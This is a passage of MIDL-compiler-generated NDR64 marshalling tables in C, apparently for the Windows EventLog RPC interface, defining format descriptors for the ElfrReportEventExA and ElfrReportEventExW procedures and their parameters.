struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag59_t;\nextern const __midl_frag59_t __midl_frag59;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag41_t;\nextern const __midl_frag41_t __midl_frag41;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag39_t;\nextern const __midl_frag39_t __midl_frag39;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag36_t;\nextern const __midl_frag36_t __midl_frag36;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag34_t;\nextern const __midl_frag34_t __midl_frag34;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag31_t;\nextern const __midl_frag31_t __midl_frag31;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag29_t;\nextern const __midl_frag29_t __midl_frag29;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag22_t;\nextern const __midl_frag22_t __midl_frag22;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag21_t;\nextern const __midl_frag21_t __midl_frag21;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag20_t;\nextern const __midl_frag20_t __midl_frag20;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag16_t;\nextern const __midl_frag16_t __midl_frag16;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag12_t;\nextern const __midl_frag12_t __midl_frag12;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag10_t;\nextern const __midl_frag10_t __midl_frag10;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_NOOP frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n}\n__midl_frag9_t;\nextern const __midl_frag9_t __midl_frag9;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag8_t;\nextern const __midl_frag8_t __midl_frag8;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag7_t;\nextern const __midl_frag7_t __midl_frag7;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag6_t;\nextern const __midl_frag6_t __midl_frag6;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag5_t;\nextern const __midl_frag5_t __midl_frag5;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag2_t;\nextern const __midl_frag2_t __midl_frag2;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag274_t __midl_frag274 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag272_t __midl_frag272 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag274\n};\n\nstatic const __midl_frag271_t __midl_frag271 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag270_t __midl_frag270 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag269_t __midl_frag269 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 61440 /* 0xf000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag269\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag270\n    }\n};\n\nstatic const __midl_frag267_t __midl_frag267 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag268\n};\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/* *_RPC_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag265_t __midl_frag265 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 256 /* 0x100 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag264_t __midl_frag264 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag265\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag113\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag266\n    }\n};\n\nstatic const __midl_frag263_t __midl_frag263 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag264\n};\n\nstatic const __midl_frag262_t __midl_frag262 =\n{ \n/* *_RPC_SID */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag261_t __midl_frag261 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag260_t __midl_frag260 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 61440 /* 0xf000 */\n};\n\nstatic const __midl_frag259_t __midl_frag259 =\n{ \n/* short */\n    0xa4,    /* FC64_RANGE */\n    0x4,    /* FC64_INT16 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 256 /* 0x100 */\n};\n\nstatic const __midl_frag258_t __midl_frag258 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag257_t __midl_frag257 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag255_t __midl_frag255 =\n{ \n/* *_FILETIME */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag233\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag253_t __midl_frag253 =\n{ \n/* ElfrReportEventExA */\n    { \n    /* ElfrReportEventExA */      /* procedure ElfrReportEventExA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 112 /* 0x70 */ ,  /* Stack size */\n        (NDR64_UINT32) 156 /* 0x9c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 14 /* 0xe */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* TimeGenerated */      /* parameter TimeGenerated */\n        &__midl_frag233,\n        { \n        /* TimeGenerated */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag257,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag257,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag258,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag259,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag260,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag113,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag262,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag263,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag267,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag271,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag272,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag244_t __midl_frag244 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag242_t __midl_frag242 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag265\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_UNICODE_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag5\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag244\n    }\n};\n\nstatic const __midl_frag241_t __midl_frag241 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag242\n};\n\nstatic const __midl_frag239_t __midl_frag239 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag233_t __midl_frag233 =\n{ \n/* _FILETIME */\n    { \n    /* _FILETIME */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _FILETIME */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag230_t __midl_frag230 =\n{ \n/* ElfrReportEventExW */\n    { \n    /* ElfrReportEventExW */      /* procedure ElfrReportEventExW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 112 /* 0x70 */ ,  /* Stack size */\n        (NDR64_UINT32) 156 /* 0x9c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 14 /* 0xe */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* TimeGenerated */      /* parameter TimeGenerated */\n        &__midl_frag233,\n        { \n        /* TimeGenerated */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag257,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag257,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag258,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag259,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag260,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag5,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag262,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag241,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag267,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag271,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        